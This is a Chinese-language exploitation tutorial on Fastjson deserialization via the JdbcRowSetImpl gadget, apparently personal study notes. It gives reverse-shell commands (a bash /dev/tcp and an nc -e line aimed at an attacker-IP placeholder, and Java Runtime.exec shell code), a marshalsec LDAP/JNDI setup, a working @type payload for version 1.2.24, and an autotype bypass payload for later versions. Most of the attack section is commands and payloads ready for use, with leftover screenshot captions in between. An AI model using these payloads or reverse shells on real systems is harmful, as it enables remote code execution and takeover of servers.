Fastjson 反序列化

利用链：JdbcRowSetImpl 然后执行RCE

版本<1.2.80

使用方式

Fastjson 把json转为对象 把对象转为json

序列化

JSON.toJSONString(obj)

反序列化

JSON.parseObject(str,class)

反弹shell

为什么要反弹shell

反弹shell前提是已经进入对方服务器 ，但是直接在对方服务器上操作命令就不安全

所以通过对方服务器上连接攻击者本地开启的服务器

然后就两者之间发请求 并把输入重定向到攻击者端

怎么反弹

攻击者打开端口等待连接：nc -lvp 4444

被攻击者运行反弹命令（被攻击者怎么运行 其实就是在该服务器网站上找个输入的入口 写入命令就好了）：bash -i >& /dev/tcp/攻击者IP/4444 0>&1

（nc反弹：nc -e /bin/bash 攻击者IP 4444）还可以telnet反弹

然后被攻击者就与攻击者连上了

攻击者就可以给对方服务器发请求了

Java反弹就是使用Runtime去执行上面的命令

Runtime r = Runtime.getRuntime();

String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/攻击者/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"};

Process p = r.exec(cmd);

p.waitFor();

原理

Fastjson在解析json的过程中 使用@type字段来指定反序列化的类型 例如："@type":"com.sun.rowset.JdbcRowSetImpl",然后创建对象并可以自动执行里面的set和get方法.

在处理对象的时候 没有对@type字段进行安全校验 攻击者就可以传入危险类 并调用危险类连接远程RMI主机 然后执行恶意代码

复现

思路：

先确认是否使用了fastjson

利用@type 进行传输我们需要引用的类和执行的方法

利用com.sun.rowset.JdbcRowSetImpl执行可以验证POC的脚本，打到我们可以看到的回显上。

漏洞利用

复现1.2.24

先构建恶意代码 然后执行出来class文件

电脑萤幕的截图

描述已自动生成

进入classes目录 打开http server（可以指定端口）

Python -m SimpleHTTPServer 1234

这里也要使用marshalsec打开jndi服务（同比log4j2）

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#EXP 1389

使用marshalsec打开JNDI服务 连接本地开启的Http server

1389是JNDI默认端口

1234是自己的http server

利用JdbcRowSetImpl构造poc

电脑软件截图

描述已自动生成

介绍一下JdbcRowSetImpl

为什么使用JdbcRowSetImpl

因为这个@type

JSON.parse会自动调用set方法

JSON.parseObject会自动调用set和get方法

然后JdbcRowSetImpl类的setDataSourceName()和setAutoCommit()就可以被直接调用了

就可以通过构造上述的poc 自动执行他的set两个方法

为什么选择这个类是因为这个类是sun包里自带的 不需要引入

com.sun.rowset.JdbcRowSetImpl;

到此都还没用到fastjson

上面只是可以利用JdbcRowSetImpl连接ldap 执行EXP

现在使用fastjson构造poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

把原先的代码改成JSON的方式直接弹出

电脑软件截图

描述已自动生成

漏洞源码

Fastjson里对传入的值都没有校验

图形用户界面, 文本

描述已自动生成

绕过

1.2.25就不支持autotype了

需要手动开启

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

后期源码中 @Type字段开头是 ”[“，另一种“L”开头与“;”结尾，他就会从第二个字符获取我们的className。

构造新的payload

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";

JSON.parseObject(exp);电脑软件的截图

描述已自动生成

还有别的版本绕过